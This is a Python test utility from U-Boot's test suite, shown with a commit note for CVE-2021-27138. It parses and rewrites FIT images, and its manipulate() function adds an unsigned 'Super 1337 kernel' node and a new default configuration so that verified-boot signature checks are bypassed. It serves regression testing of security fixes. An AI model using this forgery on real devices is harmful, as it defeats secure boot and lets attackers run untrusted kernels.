u-boot-brain/test/py/tests/vboot_forge.py
Simon Glass 79af75f777 fit: Don't allow verification of images with @ nodes
When searching for a node called 'fred', any unit address appended to the
name is ignored by libfdt, meaning that 'fred' can match 'fred@1'. This
means that we cannot be sure that the node originally intended is the one
that is used.

Disallow use of nodes with unit addresses.

Update the forge test also, since it uses @ addresses.

CVE-2021-27138

Signed-off-by: Simon Glass <sjg@chromium.org>
Reported-by: Bruce Monroe <bruce.monroe@intel.com>
Reported-by: Arie Haenel <arie.haenel@intel.com>
Reported-by: Julien Lenoir <julien.lenoir@intel.com>
2021-02-15 19:17:25 -05:00

424 lines
12 KiB
Python

#!/usr/bin/python3
# SPDX-License-Identifier: GPL-2.0
# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
#
# pylint: disable=E1101,W0201,C0103
"""
Verified boot image forgery tools and utilities
This module provides services to both take apart and regenerate FIT images
in a way that preserves all existing verified boot signatures, unless you
manipulate nodes in the process.
"""
import struct
import binascii
from io import BytesIO
#
# struct parsing helpers
#
class BetterStructMeta(type):
"""
Preprocesses field definitions and creates a struct.Struct instance from them
"""
def __new__(cls, clsname, superclasses, attributedict):
if clsname != 'BetterStruct':
fields = attributedict['__fields__']
field_types = [_[0] for _ in fields]
field_names = [_[1] for _ in fields if _[1] is not None]
attributedict['__names__'] = field_names
s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
attributedict['__struct__'] = s
attributedict['size'] = s.size
return type.__new__(cls, clsname, superclasses, attributedict)
class BetterStruct(metaclass=BetterStructMeta):
"""
Base class for better structures
"""
def __init__(self):
for t, n in self.__fields__:
if 's' in t:
setattr(self, n, '')
elif t in ('Q', 'I', 'H', 'B'):
setattr(self, n, 0)
@classmethod
def unpack_from(cls, buffer, offset=0):
"""
Unpack structure instance from a buffer
"""
fields = cls.__struct__.unpack_from(buffer, offset)
instance = cls()
for n, v in zip(cls.__names__, fields):
setattr(instance, n, v)
return instance
def pack(self):
"""
Pack structure instance into bytes
"""
return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
def __str__(self):
items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
return '(' + ', '.join(items) + ')'
#
# some defs for flat DT data
#
class HeaderV17(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'magic'),
('I', 'totalsize'),
('I', 'off_dt_struct'),
('I', 'off_dt_strings'),
('I', 'off_mem_rsvmap'),
('I', 'version'),
('I', 'last_comp_version'),
('I', 'boot_cpuid_phys'),
('I', 'size_dt_strings'),
('I', 'size_dt_struct'),
]
class RRHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('Q', 'address'),
('Q', 'size'),
]
class PropHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'value_size'),
('I', 'name_offset'),
]
# magical constants for DTB format
OF_DT_HEADER = 0xd00dfeed
OF_DT_BEGIN_NODE = 1
OF_DT_END_NODE = 2
OF_DT_PROP = 3
OF_DT_END = 9
class StringsBlock:
"""
Represents a parsed device tree string block
"""
def __init__(self, values=None):
if values is None:
self.values = []
else:
self.values = values
def __getitem__(self, at):
if isinstance(at, str):
offset = 0
for value in self.values:
if value == at:
break
offset += len(value) + 1
else:
self.values.append(at)
return offset
if isinstance(at, int):
offset = 0
for value in self.values:
if offset == at:
return value
offset += len(value) + 1
raise IndexError('no string found corresponding to the given offset')
raise TypeError('only strings and integers are accepted')
class Prop:
"""
Represents a parsed device tree property
"""
def __init__(self, name=None, value=None):
self.name = name
self.value = value
def clone(self):
return Prop(self.name, self.value)
def __repr__(self):
return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
class Node:
"""
Represents a parsed device tree node
"""
def __init__(self, name=None):
self.name = name
self.props = []
self.children = []
def clone(self):
o = Node(self.name)
o.props = [x.clone() for x in self.props]
o.children = [x.clone() for x in self.children]
return o
def __getitem__(self, index):
return self.children[index]
def __repr__(self):
return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
#
# flat DT to memory
#
def parse_strings(strings):
"""
Converts the bytes into a StringsBlock instance so it is convenient to work with
"""
strings = strings.split(b'\x00')
return StringsBlock(strings)
def parse_struct(stream):
"""
Parses DTB structure(s) into a Node or Prop instance
"""
tag = bytearray(stream.read(4))[3]
if tag == OF_DT_BEGIN_NODE:
name = b''
while b'\x00' not in name:
name += stream.read(4)
name = name.rstrip(b'\x00')
node = Node(name)
item = parse_struct(stream)
while item is not None:
if isinstance(item, Node):
node.children.append(item)
elif isinstance(item, Prop):
node.props.append(item)
item = parse_struct(stream)
return node
if tag == OF_DT_PROP:
h = PropHeader.unpack_from(stream.read(PropHeader.size))
length = (h.value_size + 3) & (~3)
value = stream.read(length)[:h.value_size]
prop = Prop(h.name_offset, value)
return prop
if tag in (OF_DT_END_NODE, OF_DT_END):
return None
raise ValueError('unexpected tag value')
def read_fdt(fp):
"""
Reads and parses the flattened device tree (or derivatives like FIT)
"""
header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
if header.magic != OF_DT_HEADER:
raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
# TODO: read/parse reserved regions
fp.seek(header.off_dt_struct)
structs = fp.read(header.size_dt_struct)
fp.seek(header.off_dt_strings)
strings = fp.read(header.size_dt_strings)
strblock = parse_strings(strings)
root = parse_struct(BytesIO(structs))
return root, strblock
#
# memory to flat DT
#
def compose_structs_r(item):
"""
Recursive part of composing Nodes and Props into a bytearray
"""
t = bytearray()
if isinstance(item, Node):
t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
if isinstance(item.name, str):
item.name = bytes(item.name, 'utf-8')
name = item.name + b'\x00'
if len(name) & 3:
name += b'\x00' * (4 - (len(name) & 3))
t.extend(name)
for p in item.props:
t.extend(compose_structs_r(p))
for c in item.children:
t.extend(compose_structs_r(c))
t.extend(struct.pack('>I', OF_DT_END_NODE))
elif isinstance(item, Prop):
t.extend(struct.pack('>I', OF_DT_PROP))
value = item.value
h = PropHeader()
h.name_offset = item.name
if value:
h.value_size = len(value)
t.extend(h.pack())
if len(value) & 3:
value += b'\x00' * (4 - (len(value) & 3))
t.extend(value)
else:
h.value_size = 0
t.extend(h.pack())
return t
def compose_structs(root):
"""
Composes the parsed Nodes into a flat bytearray instance
"""
t = compose_structs_r(root)
t.extend(struct.pack('>I', OF_DT_END))
return t
def compose_strings(strblock):
"""
Composes the StringsBlock instance back into a bytearray instance
"""
b = bytearray()
for s in strblock.values:
b.extend(s)
b.append(0)
return bytes(b)
def write_fdt(root, strblock, fp):
"""
Writes out a complete flattened device tree (or FIT)
"""
header = HeaderV17()
header.magic = OF_DT_HEADER
header.version = 17
header.last_comp_version = 16
fp.write(header.pack())
header.off_mem_rsvmap = fp.tell()
fp.write(RRHeader().pack())
structs = compose_structs(root)
header.off_dt_struct = fp.tell()
header.size_dt_struct = len(structs)
fp.write(structs)
strings = compose_strings(strblock)
header.off_dt_strings = fp.tell()
header.size_dt_strings = len(strings)
fp.write(strings)
header.totalsize = fp.tell()
fp.seek(0)
fp.write(header.pack())
#
# pretty printing / converting to DT source
#
def as_bytes(value):
return ' '.join(["%02X" % x for x in value])
def prety_print_value(value):
"""
Formats a property value as appropriate depending on the guessed data type
"""
if not value:
return '""'
if value[-1] == b'\x00':
printable = True
for x in value[:-1]:
x = ord(x)
if x != 0 and (x < 0x20 or x > 0x7F):
printable = False
break
if printable:
value = value[:-1]
return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
if len(value) > 0x80:
return '[' + as_bytes(value[:0x80]) + ' ... ]'
return '[' + as_bytes(value) + ']'
def pretty_print_r(node, strblock, indent=0):
"""
Prints out a single node, recursing further for each of its children
"""
spaces = ' ' * indent
print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
for p in node.props:
print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
for c in node.children:
pretty_print_r(c, strblock, indent+1)
print((spaces + '};'))
def pretty_print(node, strblock):
"""
Generates an almost-DTS formatted printout of the parsed device tree
"""
print('/dts-v1/;')
pretty_print_r(node, strblock, 0)
#
# manipulating the DT structure
#
def manipulate(root, strblock):
"""
Maliciously manipulates the structure to create a crafted FIT file
"""
# locate /images/kernel-1 (frankly, it just expects it to be the first one)
kernel_node = root[0][0]
# clone it to save time filling all the properties
fake_kernel = kernel_node.clone()
# rename the node
fake_kernel.name = b'kernel-2'
# get rid of signatures/hashes
fake_kernel.children = []
# NOTE: this simply replaces the first prop... either description or data
# should be good for testing purposes
fake_kernel.props[0].value = b'Super 1337 kernel\x00'
# insert the new kernel node under /images
root[0].children.append(fake_kernel)
# modify the default configuration
root[1].props[0].value = b'conf-2\x00'
# clone the first (only?) configuration
fake_conf = root[1][0].clone()
# rename and change kernel and fdt properties to select the crafted kernel
fake_conf.name = b'conf-2'
fake_conf.props[0].value = b'kernel-2\x00'
fake_conf.props[1].value = b'fdt-1\x00'
# insert the new configuration under /configurations
root[1].children.append(fake_conf)
return root, strblock
def main(argv):
with open(argv[1], 'rb') as fp:
root, strblock = read_fdt(fp)
print("Before:")
pretty_print(root, strblock)
root, strblock = manipulate(root, strblock)
print("After:")
pretty_print(root, strblock)
with open('blah', 'w+b') as fp:
write_fdt(root, strblock, fp)
if __name__ == '__main__':
import sys
main(sys.argv)
# EOF